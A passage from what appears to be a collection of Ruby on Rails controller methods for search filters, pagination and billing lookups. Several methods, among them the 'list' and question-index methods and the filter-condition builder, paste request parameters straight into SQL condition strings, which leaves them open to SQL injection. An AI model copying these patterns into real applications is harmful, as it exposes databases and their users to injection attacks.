dave\n if params[:search_filter].nil?\n @search_filter = SearchFilter.new\n else\n @search_filter = SearchFilter.new(params[:search_filter])\n end\n \n if !params[:search_filter].nil?\n if params[:search_filter][:start_time] == \"MM/DD/YYYY\" && params[:search_filter][:end_time] == \"MM/DD/YYYY\"\n @search_filter.start_time = Time.now.utc\n elsif params[:search_filter][:start_time] != \"MM/DD/YYYY\" && params[:search_filter][:end_time] == \"MM/DD/YYYY\"\n @search_filter.start_time = params[:search_filter][:start_time].to_date.to_time\n elsif params[:search_filter][:start_time] == \"MM/DD/YYYY\" && params[:search_filter][:end_time] != \"MM/DD/YYYY\"\n @search_filter.start_time = params[:search_filter][:end_time].to_date.to_time\n @search_filter.end_time = nil\n elsif params[:search_filter][:start_time] != \"MM/DD/YYYY\" && params[:search_filter][:end_time] != \"MM/DD/YYYY\"\n if params[:search_filter][:start_time].nil? && !params[:search_filter][:start_date].nil?\n params[:search_filter][:start_time] = params[:search_filter][:start_date]\n end\n @search_filter.start_time = params[:search_filter][:start_time].to_date.to_time if !params[:format] && !params[:search_filter][:start_time].nil?\n @search_filter.start_time = Time.now.utc if !params[:format] && params[:search_filter][:start_time].nil?\n @search_filter.end_time = params[:search_filter][:end_time].to_date.to_time if !params[:search_filter][:end_time].nil? \n end\n end\n \n if !params[:search_filter].nil?\n location = params[:search_filter][:location] ? params[:search_filter][:location] : ''\n terms = params[:search_filter][:terms] ? params[:search_filter][:terms] : ''\n person = params[:search_filter][:person] ? params[:search_filter][:person] : ''\n state = params[:search_filter][:state] ? params[:search_filter][:state] : ''\n country = params[:search_filter][:country] ? params[:search_filter][:country] : ''\n airport_id = params[:search_filter][:airport_id] ? params[:search_filter][:airport_id] : ''\n param_string = \"posted #{country} #{state} #{location} #{terms} #{person} #{airport_id}\" if !private_mw?\n param_string = \"posted #{state} #{location} #{terms} #{person} #{airport_id}\" if private_mw?\n if params[:search_filter][:virtual_f] == \"0\" && params[:checked_locat] == \"1\"\n @invitations = Invitation.search \"#{param_string}\",:with => {:start_date => @search_filter.start_time..Time.now.utc.advance(:days => 1000),:is_public => 1,:deactivated => 0,:purpose_id => p_id,:activity_id => a_id,:zip_code_id => zcids}, :without => {:purpose_id => cond},:conditions => {:virtual_f => \"no_flag\",:university_name => @univ_account}, :order => :start_date, :sort_mode => :desc, :page => params[:page], :per_page => 10 if params[:search_filter][:start_time] == \"MM/DD/YYYY\" && params[:search_filter][:end_time] == \"MM/DD/YYYY\"\n @invitations = Invitation.search \"#{param_string}\",:with => {:start_date => params[:search_filter][:start_time].to_date.to_time..params[:search_filter][:start_time].to_date.to_time.advance(:days => 1000),:is_public => 1,:deactivated => 0,:purpose_id => p_id,:activity_id => a_id,:zip_code_id => zcids}, :without => {:purpose_id => cond},:conditions => {:virtual_f => \"no_flag\",:university_name => @univ_account}, :order => :id, :sort_mode => :desc, :page => params[:page], :per_page => 10 if params[:search_filter][:start_time] != \"MM/DD/YYYY\" && params[:search_filter][:end_time] == \"MM/DD/YYYY\"\n @invitations = Invitation.search \"#{param_string}\",:with => {:start_date => @search_filter.start_time..Time.now.utc.advance(:days => 1000),:is_public => 1,:deactivated => 0,:purpose_id => p_id,:activity_id => a_id,:zip_code_id => zcids}, :without => {:purpose_id => cond},:conditions => {:virtual_f => \"no_flag\",:university_name => @univ_account}, :order => :start_date, :sort_mode => :desc, :page => params[:page], :per_page => 10 if params[:search_filter][:start_time] == \"MM/DD/YYYY\" && params[:search_filter][:end_time] != \"MM/DD/YYYY\"\n @invitations = Invitation.search \"#{param_string}\",:with => {:start_date => params[:search_filter][:start_time].to_date.to_time..params[:search_filter][:end_time].to_date.to_time,:is_public => 1,:deactivated => 0,:purpose_id => p_id,:activity_id => a_id,:zip_code_id => zcids}, :without => {:purpose_id => cond},:conditions => {:virtual_f => \"no_flag\",:university_name => @univ_account}, :order => :start_date, :sort_mode => :desc, :page => params[:page], :per_page => 10 if params[:search_filter][:start_time] != \"MM/DD/YYYY\" && params[:search_filter][:end_time] != \"MM/DD/YYYY\"\n elsif params[:search_filter][:virtual_f] == \"v_flag\" && (params[:checked_locat] == \"0\" || params[:checked_locat] == \"\")\n @invitations = Invitation.search \"#{param_string}\",:with => {:start_date => @search_filter.start_time..Time.now.utc.advance(:days => 1000),:is_public => 1,:deactivated => 0,:purpose_id => p_id,:activity_id => a_id},:conditions => {:virtual_f => \"v_flag\",:university_name => @univ_account}, :without => {:purpose_id => cond}, :order => :start_date, :sort_mode => :desc, :page => params[:page], :per_page => 10 \n @invitations = Invitation.search \"#{param_string}\",:with => {:start_date => params[:search_filter][:start_time].to_date.to_time..params[:search_filter][:start_time].to_date.to_time.advance(:days => 1000),:is_public => 1,:deactivated => 0,:purpose_id => p_id,:activity_id => a_id}, :without => {:purpose_id => cond},:conditions => {:virtual_f => \"v_flag\",:university_name => @univ_account}, :order => :start_date, :sort_mode => :desc, :page => params[:page], :per_page => 10 if params[:search_filter][:start_time] != \"MM/DD/YYYY\" && params[:search_filter][:end_time] == \"MM/DD/YYYY\"\n @invitations = Invitation.search \"#{param_string}\",:with => {:start_date => @search_filter.start_time..Time.now.utc.advance(:days => 1000),:is_public => 1,:deactivated => 0,:purpose_id => p_id,:activity_id => a_id},:conditions => {:virtual_f => \"v_flag\",:university_name => @univ_account}, :without => {:purpose_id => cond}, :order => :start_date, :sort_mode => :desc, :page => params[:page], :per_page => 10 if params[:search_filter][:start_time] == \"MM/DD/YYYY\" && params[:search_filter][:end_time] != \"MM/DD/YYYY\"\n @invitations = Invitation.search \"#{param_string}\",:with => {:start_date => params[:search_filter][:start_time].to_date.to_time..params[:search_filter][:end_time].to_date.to_time,:is_public => 1,:deactivated => 0,:purpose_id => p_id,:activity_id => a_id}, :without => {:purpose_id => cond},:conditions => {:virtual_f => \"v_flag\",:university_name => @univ_account}, :order => :start_date, :sort_mode => :desc, :page => params[:page], :per_page => 10 if params[:search_filter][:start_time] != \"MM/DD/YYYY\" && params[:search_filter][:end_time] != \"MM/DD/YYYY\"\n else\n @invitations = Invitation.search \"#{param_string}\",:with => {:start_date => @search_filter.start_time..Time.now.utc.advance(:days => 1000),:is_public => 1,:deactivated => 0,:purpose_id => p_id,:activity_id => a_id,:zip_code_id => zcids}, :without => {:purpose_id => cond},:conditions => {:university_name => @univ_account}, :order => :id, :sort_mode => :desc, :page => params[:page], :per_page => 10 if params[:search_filter][:start_time] == \"MM/DD/YYYY\" && params[:search_filter][:end_time] == \"MM/DD/YYYY\"\n @invitations = Invitation.search \"#{param_string}\",:with => {:start_date => params[:search_filter][:start_time].to_date.to_time..params[:search_filter][:start_time].to_date.to_time.advance(:days => 1000),:is_public => 1,:deactivated => 0,:purpose_id => p_id,:activity_id => a_id,:zip_code_id => zcids}, :without => {:purpose_id => cond},:conditions => {:university_name => @univ_account}, :order => :start_date, :sort_mode => :desc, :page => params[:page], :per_page => 10 if params[:search_filter][:start_time] != \"MM/DD/YYYY\" && params[:search_filter][:end_time] == \"MM/DD/YYYY\"\n @invitations = Invitation.search \"#{param_string}\",:with => {:start_date => @search_filter.start_time..Time.now.utc.advance(:days => 1000),:is_public => 1,:deactivated => 0,:purpose_id => p_id,:activity_id => a_id,:zip_code_id => zcids}, :without => {:purpose_id => cond},:conditions => {:university_name => @univ_account}, :order => :start_date, :sort_mode => :desc, :page => params[:page], :per_page => 10 if params[:search_filter][:start_time] == \"MM/DD/YYYY\" && params[:search_filter][:end_time] != \"MM/DD/YYYY\"\n @invitations = Invitation.search \"#{param_string}\",:with => {:start_date => params[:search_filter][:start_time].to_date.to_time..params[:search_filter][:end_time].to_date.to_time,:is_public => 1,:deactivated => 0,:purpose_id => p_id,:activity_id => a_id,:zip_code_id => zcids}, :without => {:purpose_id => cond},:conditions => {:university_name => @univ_account}, :order => :start_date, :sort_mode => :desc, :page => params[:page], :per_page => 10 if params[:search_filter][:start_time] != \"MM/DD/YYYY\" && params[:search_filter][:end_time] != \"MM/DD/YYYY\" && !params[:search_filter][:start_time].nil? && !params[:search_filter][:end_time].nil? && !params[:format]\n\n @invitations = Invitation.search \"#{param_string}\",:with => {:start_date => params[:search_filter][:start_time].to_date.to_time..params[:search_filter][:start_time].to_date.to_time.advance(:days => 1000),:is_public => 1,:deactivated => 0,:purpose_id => p_id,:activity_id => a_id,:zip_code_id => zcids}, :without => {:purpose_id => cond},:conditions => {:university_name => @univ_account}, :order => :start_date, :sort_mode => :desc, :page => params[:page], :per_page => 10 if params[:search_filter][:start_time] != \"MM/DD/YYYY\" && params[:search_filter][:end_time] != \"MM/DD/YYYY\" && !params[:search_filter][:start_time].nil? && params[:search_filter][:end_time].nil? && !params[:format]\n @invitations = Invitation.search \"#{param_string}\",:with => {:start_date => params[:search_filter][:start_time].to_date.to_time..params[:search_filter][:start_time].to_date.to_time.advance(:days => 1000),:is_public => 1,:deactivated => 0,:purpose_id => p_id,:activity_id => a_id,:zip_code_id => zcids}, :without => {:purpose_id => cond},:conditions => {:university_name => @univ_account}, :order => :start_date, :sort_mode => :desc, :page => params[:page], :per_page => 10 if params[:search_filter][:start_time] != \"MM/DD/YYYY\" && params[:search_filter][:end_time] != \"MM/DD/YYYY\" && !params[:search_filter][:start_time].nil? && params[:search_filter][:end_time].nil? && !params[:format]\n @invitations = Invitation.search \"#{param_string}\",:with => {:start_date => params[:search_filter][:start_date].to_date.to_time..params[:search_filter][:start_date].to_date.to_time,:is_public => 1,:deactivated => 0,:purpose_id => p_id,:activity_id => a_id,:zip_code_id => zcids}, :without => {:purpose_id => cond},:conditions => {:university_name => @univ_account}, :order => :start_date, :sort_mode => :desc, :page => params[:page], :per_page => 10 if params[:search_filter][:start_time] != \"MM/DD/YYYY\" && params[:search_filter][:end_time] != \"MM/DD/YYYY\" && params[:format]\n end\n else\n @search_filter.start_time = Time.now.utc\n @invitations = Invitation.search \"posted\",:with => {:start_date => @search_filter.start_time..Time.now.utc.advance(:days => 1000),:is_public => 1,:deactivated => 0}, :without => {:purpose_id => cond},:conditions => {:university_name => @univ_account}, :order => :start_date, :sort_mode => :desc, :page => params[:page], :per_page => 10 \n end\n @feed_params = @search_filter.to_rss_params \n if params[:format]\n handle_rss()\n else\n render :action => \"new_super_search\", :layout => 'new_super_search' unless check_render_facebook('super_search')\n end\n end", "def index\n if user_signed_in?\n @search = SubcontractorStatus.ransack(params[:q]) #for ransack\n @subcontractor_statuses = @search.result.order(\"created_at DESC\").page(params[:page]).per(50)\n else\n redirect_to new_user_session_path\n end\n end", "def index\n\t\tcase params[\"qtype\"]\n\t\twhen 'status'\n if params['status'] == '1'\n \t @reserves = Reserf.where(tag: params[:tag], marketdate: true_trade_date(params[:tag]), stockstatus: \"#{params['status']}\").order(plratio: :desc).page(params[:page])\n else\n \t @reserves = Reserf.where(tag: params[:tag], stockstatus: \"#{params['status']}\").order(marketdate: :desc).page(params[:page])\n end\n\t\twhen 'advise'\n unless params['indexfilter'].nil?\n if params['optadvise'] == 'wait' \n if Sysconfig.find_by(tag: params[:tag], cfgname: 'batchname').cfgstring != 'datechange' \n @reserves = Reserf.joins(:quotation).joins(:indexfilter).where(\"reserves.tag\" => params[:tag]).where(\"indexfilters.name\" => params[:indexfilter]).where(\"reserves.catchplratio > 2\").where(\"reserves.marketdate\" => tradedate(params[:tag])).where(\"reserves.stockstatus\" => '1').order(plratio: :desc).page(params[:page])\n else \n @reserves = Reserf.joins(:quotation).joins(:indexfilter).where(\"reserves.tag\" => params[:tag]).where(\"indexfilters.name\" => params[:indexfilter]).where(\"reserves.catchplratio > 2\").where(\"reserves.marketdate\" => pretradedate(params[:tag])).where(\"reserves.stockstatus\" => '1').order(plratio: :desc).page(params[:page])\n end\n elsif params['optadvise'] == 'win' \n @reserves = Reserf.joins(:quotation).joins(:indexfilter).where(\"reserves.tag\" => params[:tag]).where(\"indexfilters.name\" => params[:indexfilter]).where(\"reserves.catchplratio > 2\").where(\"reserves.stockstatus\" => '2').order(plratio: :desc).page(params[:page])\n elsif params['optadvise'] == 'loss' \n @reserves = Reserf.joins(:quotation).joins(:indexfilter).where(\"reserves.tag\" => params[:tag]).where(\"indexfilters.name\" => params[:indexfilter]).where(\"reserves.catchplratio > 2\").where(\"reserves.stockstatus\" => '0').order(plratio: :desc).page(params[:page])\n end\n else\n if Sysconfig.find_by(tag: params[:tag], cfgname: 'batchname').cfgstring != 'datechange' \n @reserves = Reserf.where(tag: params[:tag], marketdate: tradedate(params[:tag]), optadvise: \"#{params['optadvise']}\").order(plratio: :desc).page(params[:page])\n else \n @reserves = Reserf.where(tag: params[:tag], marketdate: pretradedate(params[:tag]), optadvise: \"#{params['optadvise']}\").order(plratio: :desc).page(params[:page])\n end\n end\n\t\twhen 'catch'\n \t@reserves = Reserf.where(tag: params[:tag], marketdate: tradedate(params[:tag]), catchdate: tradedate(params[:tag])).order(plratio: :desc).page(params[:page])\n\t\twhen 'yestoday'\n \t@reserves = Reserf.daydata(pretradedate(params[:tag])).where(tag: params[:tag]).order(plratio: :desc).page(params[:page])\n\t\twhen 'today'\n \t@reserves = Reserf.daydata(tradedate(params[:tag])).where(tag: params[:tag]).order(plratio: :desc).page(params[:page])\n\t\telse\n \t#@reserves = Reserf.order(plratio: :desc)\n \t@reserves = Reserf.where(tag: params[:tag], marketdate: tradedate(params[:tag])).order(plratio: :desc).page(params[:page])\n\t\tend\n end", "def index\n # @application_cases = current_user.application_cases.all\n if params[:active].present?\n @application_cases = current_user.application_cases.where(nil) # creates an anonymous scope\n @application_cases = @application_cases.active_status(params[:active]) if params[:active].present?\n else \n @application_cases = current_user.application_cases.active_status('Active')\n end\n\n end", "def index\n @stockholders = Stockholder.all\n \n if params[:set_not_completed]\n @stockholders = @stockholders.filter_not_completed\n end\n \n if params[:set_completed]\n @stockholders = @stockholders.filter_completed\n end\n \n end", "def filter_for(meth, names_and_ids, session_filters, label = nil)\n label ||= _(meth.to_s.humanize.titleize)\n default = _('[Any %s', label)\n\n session_filters ||= {}\n selected = session_filters[meth] || []\n selected = names_and_ids.select { |name, id| selected.include?(id.to_s) }\n\n res = query_menu(\"filter[#{ meth }]\", names_and_ids, label)\n res += selected_filter_values(\"filter[#{ meth }]\", selected, label)\n\n return res\n end", "def index\n if params[:status]\n if (params[:status] == 'all')\n @users = User.paginate(:page => params[:page]).order('id DESC')\n elsif (params[:status] == 'active')\n @users = User.where(:approved => true).paginate(:page => params[:page]).order('id DESC')\n elsif (params[:status] == 'inactive')\n @users = User.where(:approved => false).paginate(:page => params[:page]).order('id DESC')\n end\n else\n @users = User.paginate(:page => params[:page]).order('id DESC')\n end\n if params[:sbu]\n if (params[:sbu] == 'all')\n @users = User.paginate(:page => params[:page]).order('id DESC')\n # render json: @users\n else\n @users = User.where(:Sbu => params[:sbu] ).paginate(:page => params[:page]).order('id DESC')\n end\n end\n if params[:email]\n @users= User.where(:email => params[:email]).paginate(:page => params[:page]).order('id DESC')\n end\n end", "def sending_status\n case session_status\n when \"sending\", \"queued\"\n :pending\n when \"sent\"\n :sent\n when \"error during submit\", \"failed\"\n :failed\n else\n raise \"Could not determine status of response: #{inspect}\"\n end\n end", "def list\n\n @oficina_id = @usuario.oficina_id\n\n @condition =\"estatus_id = '10001' and liberada = false and oficina_id = #{@oficina_id}\"\n params['sort'] = \"numero\" unless params['sort']\n\n unless params[:sector_id][0].blank?\n sector_id = params[:sector_id][0].to_s\n sector = Sector.find(sector_id)\n @condition << \" and sector_id = #{params[:sector_id][0]} \"\n @form_search_expression << \"#{I18n.t('Sistema.Body.Vistas.General.sector')} #{I18n.t('Sistema.Body.General.es')} #{I18n.t('Sistema.Body.Vistas.General.igual')} '#{sector.nombre}'\"\n end\n unless params[:sub_sector_id][0].blank?\n sub_sector_id = params[:sub_sector_id][0].to_s\n sub_sector = SubSector.find(sub_sector_id)\n @condition << \" and sub_sector_id = #{params[:sub_sector_id][0]} \"\n @form_search_expression << \"#{I18n.t('Sistema.Body.Vistas.General.sub_sector')} #{I18n.t('Sistema.Body.General.es')} #{I18n.t('Sistema.Body.Vistas.General.igual')} '#{sub_sector.nombre}'\"\n end\n\n unless params[:rubro_id][0].blank?\n rubro_id = params[:rubro_id][0].to_s\n rubro = Rubro.find(rubro_id)\n @condition << \" and rubro_id = \" + params[:rubro_id][0]\n @form_search_expression << \"#{I18n.t('Sistema.Body.Vistas.General.rubro')} #{I18n.t('Sistema.Body.General.es')} #{I18n.t('Sistema.Body.Vistas.General.igual')} '#{rubro.nombre}'\"\n end\n\n unless params[:sub_rubro_id][0].blank?\n sub_rubro_id = params[:sub_rubro_id][0].to_s\n sub_rubro = SubRubro.find(sub_rubro_id)\n @condition << \" and sub_rubro_id = \" + params[:sub_rubro_id][0]\n @form_search_expression << \"#{I18n.t('Sistema.Body.Vistas.General.sub_rubro')} #{I18n.t('Sistema.Body.General.es')} #{I18n.t('Sistema.Body.Vistas.General.igual')} '#{sub_rubro.nombre}'\"\n end\n\n unless params[:actividad_id][0].blank?\n actividad_id = params[:actividad_id][0].to_s\n actividad = Actividad.find(actividad_id)\n @condition << \" and actividad_id = \" + params[:actividad_id][0]\n @form_search_expression << \"#{I18n.t('Sistema.Body.Vistas.General.actividad')} #{I18n.t('Sistema.Body.General.es')} #{I18n.t('Sistema.Body.Vistas.General.igual')} '#{actividad.nombre}'\"\n end\n\n unless params[:identificacion].blank?\n @condition << \" AND cedula_rif = '#{params[:identificacion]}'\"\n @form_search_expression << \"#{I18n.t('Sistema.Body.Vistas.General.cedula')} / #{I18n.t('Sistema.Body.Vistas.General.rif')} #{I18n.t('Sistema.Body.Vistas.General.igual')} '#{params[:identificacion]}'\"\n end\n\n unless params[:numero].blank?\n @condition << \" AND numero = #{params[:numero].to_i}\"\n @form_search_expression << \"#{I18n.t('Sistema.Body.Vistas.General.nro')} #{I18n.t('Sistema.Body.Vistas.General.solicitud')} #{I18n.t('Sistema.Body.Vistas.General.igual')} '#{params[:numero]}'\"\n end\n\n unless params[:nombre].blank?\n @condition << \" AND UPPER(nombre) LIKE UPPER('%#{params[:nombre].strip}%')\"\n @form_search_expression << \"#{I18n.t('Sistema.Body.Vistas.General.nombre')} #{I18n.t('Sistema.Body.Vistas.General.del')} #{I18n.t('Sistema.Body.General.beneficiario')} #{I18n.t('Sistema.Body.Vistas.General.contenga')} '#{params[:nombre]}'\"\n end\n\n \n @list = ViewListSolicitud.search(@condition, params[:page], params['sort'])\n @total=@list.count\n\n\n form_list\n end", "def set_contract_visibility\n # set session variable to the boolean true and false instead of using the string parameter\n if params[:contract_list].present?\n if params[:contract_list][:show_locked_contracts] == \"true\"\n session[:show_locked_contracts] = true\n else\n session[:show_locked_contracts] = false\n end\n elsif session[:show_locked_contracts].nil?\n # set session variable for first time guests\n session[:show_locked_contracts] = false\n end\n end", "def set_operational_and_financial_status1\n @operational_and_financial_status1 = OperationalAndFinancialStatus1.find(params[:id])\n end", "def selected_filter_conditions(filter_class)\n\n @conditions = \"\"\n @included = []\n\n #pass in existing filters\n if params[:selected_filters]\n @selected_filters = params[:selected_filters] \n else \n @selected_filters = {} \n end\n\n #intialise hashes to store filters\n filter_class.filters.each do |j_f|\n @selected_filters[j_f] = {} if !defined?(@selected_filters[j_f]) || @selected_filters[j_f] == nil \n end\n\n @filtered = params[:filter]\n\n #new filter passed in - add or remove from existing as needed\n if @filtered\n\n if params[:remove]\n @selected_filters[@filtered].delete(params[:id])\n else\n @filter_id = params[:id]\n @filter_name = params[:name]\n @selected_filters[@filtered] = {params[:id] => params[:name]}\n end\n\n end\n\n #build up list of conditions to filter results\n if @selected_filters != {}\n @selected_filters.each do |filter, values|\n\n if values != {}\n\t @included << filter.to_sym\n @conditions += \" AND \" if @conditions != \"\"\n @ids = []\n \n values.each do | v | \n @ids << v[0]\n end\n \n @conditions += \"#{filter}.id IN (#{@ids})\"\n\t end \n end\n end\n\n end", "def index\n selected_status = params[:question][:status] if params[:question]\n selected_functionary = params[:question][:functionaries] if params[:question]\n selected_functionary = nil if selected_functionary == \"\"\n status_query = \"\"\n @status = selected_status || Question.status_new\n @statuses = Question.status_options\n @functionary = selected_functionary || current_user.id\n\n status_query = \"status = \" + @status.to_s\n functionary_query = \"fp.functionary_id = \"+@functionary.to_s\n\n if current_user.has_role?(:admin)\n if selected_functionary\n @questions = Question\n .joins(:participant)\n .joins(\"JOIN functionaries_participants fp ON fp.participant_id = participants.id\")\n .where(status_query+\" AND \"+functionary_query)\n .order(\"questions.created_at DESC\")\n .paginate(:per_page => 10, :page => params[:page])\n @question_counts = Question\n .joins(:participant)\n .joins(\"JOIN functionaries_participants fp ON fp.participant_id = participants.id\")\n .where(functionary_query)\n .group(:status)\n .count\n else\n @questions = Question\n .where(status_query)\n .order(\"questions.created_at DESC\")\n .paginate(:per_page => 10, :page=>params[:page])\n @question_counts = Question.group(:status).count\n end\n\n @static = Functionary.find_by_sql('SELECT f.first_name as first_name, f.last_name as last_name'\\\n ', count(CASE WHEN q.status = 1 THEN f.id END) as new, count(CASE WHEN q.status = 2 THEN f.id END)'\\\n ' as opened, count(CASE WHEN q.status = 3 THEN f.id END) as resolved FROM functionaries f'\\\n ' JOIN functionaries_participants fp ON fp.functionary_id = f.id JOIN participants p ON p.id'\\\n '= fp.participant_id JOIN questions q ON q.participant_id = p.id GROUP BY f.id');\n render :index_nopart\n elsif current_user.has_role?(:dialogue)\n @questions = Question\n .all(:conditions=>\"dialogue = 1\"+status_query, :order=>\"questions.created_at DESC\")\n .paginate(:per_page => 10, :page=>params[:page])\n\n @question_counts = Question.where(:dialogue => 1).group(:status).count\n\n render :index_nopart\n elsif current_user.has_role?(:functionary)\n @questions = Question.joins(:participant)\n .joins(\"JOIN functionaries_participants fp ON fp.participant_id = participants.id\")\n .where(status_query+\" AND fp.functionary_id = \"+current_user.functionary.id.to_s)\n .order(\"questions.created_at DESC\")\n .paginate(:per_page => 10, :page => params[:page])\n\n @question_counts = Question.joins(:participant)\n .joins(\"JOIN functionaries_participants fp ON fp.participant_id = participants.id\")\n .where(\"fp.functionary_id = \"+current_user.functionary.id.to_s)\n .group(:status)\n .count\n\n render :index_nopart\n else\n @questions = Question.where(\"participant_id=\"+current_user.participant.id.to_s)\n\n @question_counts = Question.where(\"participant_id=\"+current_user.participant.id.to_s)\n .group(:status)\n .count\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @questions }\n end \n end\n end", "def find_options_for_visible(options={})\n {:conditions => [\"kases.status NOT IN (?) AND kases.template != ?\", [\"created\", \"suspended\", \"deleted\"], true],\n :order => \"kases.updated_at DESC\"}.merge_finder_options(options)\n end", "def status_params\n params.require(:status).permit(:result_no, :generate_no, :e_no, :style_id, :effect, :mhp, :msp, :landform_id, :condition, :max_condition, :ps)\n end", "def status\n\tparams['payment_status']\n end", "def index\n manage_filter_state\n\n # Set per_page to use in cash, bank, deferrals & others\n per_page_cash = params[:per_page_cash].blank? ? 10 : params[:per_page_cash]\n per_page_bank = params[:per_page_bank].blank? ? 10 : params[:per_page_bank]\n per_page_deferrals = params[:per_page_deferrals].blank? ? 10 : params[:per_page_deferrals]\n per_page_others = params[:per_page_others].blank? ? 10 : params[:per_page_others]\n\n # Set active_tab to use in searches\n # if params[:active_tab] content finished with !, remove filter\n active_tab = ''\n if params[:active_tab]\n active_tab = params[:active_tab]\n end\n puts \">>>>>>>\" + active_tab\n\n no = params[:No]\n bill_no = params[:BillNo]\n project = params[:Project]\n period = params[:Period]\n # client_code = params[:ClientCode]\n # client_fiscal = params[:ClientFiscal]\n # client_name = params[:Client]\n client = params[:Client]\n # subscriber_code = params[:SubscriberCode]\n # subscriber_fiscal = params[:SubscriberFiscal]\n # subscriber_name = params[:Subscriber]\n subscriber = params[:Subscriber]\n street_name = params[:StreetName]\n biller = params[:Biller]\n issue_date = params[:From]\n payday_limit = params[:To]\n # bank_account = params[:BankAccount] == I18n.t(:yes_on) ? true : false\n bank_account = search_if_have_active_bank_account?(params[:BankAccount])\n # bank = params[:Bank]\n bank_order = params[:BankOrder]\n user = params[:User]\n\n # OCO\n init_oco if !session[:organization]\n # Initialize select_tags\n @project = !project.blank? ? Project.find(project).full_name : \" \"\n @period = !period.blank? ? BillingPeriod.find(period).to_label : \" \"\n @user = !user.blank? ? User.find(user).to_label : \" \"\n @client = !client.blank? ? Client.find(client).to_label : \" \"\n @subscriber = !subscriber.blank? ? Subscriber.find(subscriber).to_label : \" \"\n @biller = !biller.blank? ? Company.find(biller).full_name : \" \"\n # @address = !street_name.blank? ? Subscriber.find(street_name).supply_address : \" \"\n # DO NOT USE @address = !street_name.blank? ? SubscriberSupplyAddress.find(street_name).supply_address : \" \"\n @have_bank_account = have_bank_account_array\n @payment_methods = payment_methods_dropdown\n @cashier_payment_methods = cashier_payment_methods_dropdown\n @no_cashier_payment_methods = no_cashier_payment_methods_dropdown\n @bank_accounts = bank_accounts_dropdown\n @scheme_types = SepaSchemeType.by_id\n\n # If inverse no search is required\n no = !no.blank? && no[0] == '%' ? inverse_no_search(no) : no\n bill_no = !bill_no.blank? && bill_no[0] == '%' ? inverse_bill_no_search(bill_no) : bill_no\n street_name = !street_name.blank? ? inverse_street_name_search(street_name) : street_name\n current_projects = current_projects_ids\n\n # Setup Client for search\n # client = !client.blank? ? inverse_client_search(client) : client\n # client_code = !client_code.blank? ? inverse_client_code_search(client_code) : []\n # client_fiscal = !client_fiscal.blank? ? inverse_client_fiscal_search(client_fiscal) : []\n # client_name = !client_name.blank? ? inverse_client_name_search(client_name) : []\n # c = (client_code + client_fiscal + client_name).uniq\n\n # Setup Subscriber for search\n # subscriber = !subscriber.blank? ? inverse_subscriber_search(subscriber) : subscriber\n # subscriber_code = !subscriber_code.blank? ? inverse_subscriber_code_search(subscriber_code) : []\n # subscriber_fiscal = !subscriber_fiscal.blank? ? inverse_subscriber_fiscal_search(subscriber_fiscal) : []\n # subscriber_name = !subscriber_name.blank? ? inverse_subscriber_name_search(subscriber_name) : []\n # s = (subscriber_code + subscriber_fiscal + subscriber_name).uniq\n per_page_others = params[:per_page_others].blank? ? 10 : params[:per_page_others]\n\n # Initialize datasets\n # if no.blank? && project.blank? && period.blank? && client_name.blank? && subscriber_name.blank? &&\n # street_name.blank? && bank_account.blank? && bank.blank? && bank_order.blank? && user.blank? &&\n # client_code.blank? && client_fiscal.blank? && subscriber_code.blank? && subscriber_fiscal.blank?\n if no.blank? && bill_no.blank? && project.blank? && period.blank? && client.blank? && subscriber.blank? &&\n street_name.blank? && bank_account.nil? && bank_order.blank? && user.blank? && biller.blank? &&\n issue_date.blank? && payday_limit.blank?\n # No query received, or filters has been removed: Return no results, except cash, bank & others\n search_cash = cash_search(current_projects, no, bill_no, project, client, subscriber, street_name, bank_account, period, user, biller, issue_date, payday_limit, per_page_cash, true)\n search_bank = bank_search(current_projects, no, bill_no, project, client, subscriber, street_name, bank_account, period, user, biller, issue_date, payday_limit, bank_order, per_page_bank, true)\n search_others = others_search(current_projects, no, bill_no, project, client, subscriber, street_name, bank_account, period, user, biller, issue_date, payday_limit, per_page_others, true)\n @bills_pending = Bill.search { with :invoice_status_id, -1 }.results\n @bills_charged = Bill.search { with :invoice_status_id, -1 }.results\n @client_payments_cash = search_cash.results\n @client_payments_bank = search_bank.results\n @instalment_invoices = InstalmentInvoice.search { with :client_id, -1 }.results\n @client_payments_others = search_others.results\n else\n # Valid query received: Return found results\n # Setup Sunspot searches (cash, bank & others should have data always)\n case active_tab\n when 'pendings-tab', 'cash-tab', 'banks-tab', 'others-tab', 'fractionated-tab', 'charged-tab'\n search_pending = pendings_search(current_projects, no, bill_no, project, client, subscriber, street_name, bank_account, period, user, biller, issue_date, payday_limit)\n search_charged = charged_search(current_projects, no, bill_no, project, client, subscriber, street_name, bank_account, period, user, biller, issue_date, payday_limit)\n search_cash = cash_search(current_projects, no, bill_no, project, client, subscriber, street_name, bank_account, period, user, biller, issue_date, payday_limit, per_page_cash, true)\n search_bank = bank_search(current_projects, no, bill_no, project, client, subscriber, street_name, bank_account, period, user, biller, issue_date, payday_limit, bank_order, per_page_bank, true)\n search_instalment = instalment_search(current_projects, no, bill_no, project, client, subscriber, street_name, bank_account, period, user, biller, issue_date, payday_limit, per_page_deferrals, true)\n search_others = others_search(current_projects, no, bill_no, project, client, subscriber, street_name, bank_account, period, user, biller, issue_date, payday_limit, per_page_others, true)\n # when 'charged-tab'\n # search_charged = charged_search(current_projects, no, bill_no, project, client, subscriber, street_name, bank_account, period, user)\n # when 'cash-tab'\n # search_cash = cash_search(current_projects, no, bill_no, project, client, subscriber, street_name, bank_account, period, user)\n # when 'banks-tab'\n # search_bank = bank_search(current_projects, no, bill_no, project, client, subscriber, street_name, bank_account, period, user, bank_order, per_page_bank)\n # when 'others-tab'\n # search_others = others_search(current_projects, no, bill_no, project, client, subscriber, street_name, bank_account, period, user)\n # when 'fractionated-tab'\n # search_instalment = instalment_search(current_projects, no, bill_no, project, client, subscriber, street_name, bank_account, period, user)\n else # No active tab, or remove filters button has been clicked\n search_pending = pendings_search(current_projects, no, bill_no, project, client, subscriber, street_name, bank_account, period, user, biller, issue_date, payday_limit)\n search_charged = charged_search(current_projects, no, bill_no, project, client, subscriber, street_name, bank_account, period, user, biller, issue_date, payday_limit)\n search_cash = cash_search(current_projects, no, bill_no, project, client, subscriber, street_name, bank_account, period, user, biller, issue_date, payday_limit, per_page_cash, true)\n search_bank = bank_search(current_projects, no, bill_no, project, client, subscriber, street_name, bank_account, period, user, biller, issue_date, payday_limit, bank_order, per_page_bank, true)\n search_instalment = instalment_search(current_projects, no, bill_no, project, client, subscriber, street_name, bank_account, period, user, biller, issue_date, payday_limit, per_page_deferrals, true)\n search_others = others_search(current_projects, no, bill_no, project, client, subscriber, street_name, bank_account, period, user, biller, issue_date, payday_limit, per_page_others, 